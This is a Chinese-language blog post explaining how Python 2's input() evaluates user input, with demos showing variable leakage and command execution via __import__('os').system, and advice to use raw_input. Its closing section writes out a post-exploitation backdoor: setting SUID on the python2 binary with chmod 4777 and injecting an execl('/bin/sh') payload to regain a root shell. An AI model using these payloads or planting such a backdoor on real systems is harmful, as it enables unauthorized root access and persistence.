美文网首页
关于python2.x input函数的安全隐患

关于python2.x input函数的安全隐患

作者: nohands_noob | 来源:发表于2019-12-05 22:12 被阅读0次

    今天,一个安全讨论群中有个人发了这么一个链接
    Vulnerability in input() function – Python 2.x
    文章里有串代码

    secret_value = 500
    
    i = input('Guess secret_value:')
    
    if i == secret_value:
        print('you win!')
    else:
        print('you lose!')
    

    input输入secret_value结果如下:


    这就引起了我的好奇心
    然后我就翻到了这篇文章
    Python中input()函数漏洞及与raw_input()函数区别

    raw_input()会将输入的数据默认当成字符串
    input()会自动识别数据类型,并且会将算式进行运算,这也是漏洞产生的原因
    而在python3中,python3的input函数已经代替了raw_input函数,默认字符串输出

    用以下代码实验一下

    c = 'john'
    i = input('name:')
    print(i)
    

    输入 1+1 和 c,看到结果都做了运算


    利用input执行命令
    输入__import__('os').system('dir')执行dir命令,成功执行


    因此,在python2环境的开发中,应尽量使用raw_input函数来代替input函数

    一个简单利用:
    假设我们获取了一台服务器的root权限
    我们可以用命令 chmod 4777 /usr/bin/python2 为二进制文件赋予特殊权限位(suid)
    将 input('getshell:') 写入py文件
    接下来切换到普通用户,运行脚本
    input出输入 __import__('os').execl('/bin/sh','sh','-p')


    可以看到直接弹回一个root权限的shell
    不过只是单单作为提权后的维持权限的后门

    相关文章

      网友评论

          本文标题:关于python2.x input函数的安全隐患

          本文链接:https://www.haomeiwen.com/subject/rxijgctx.html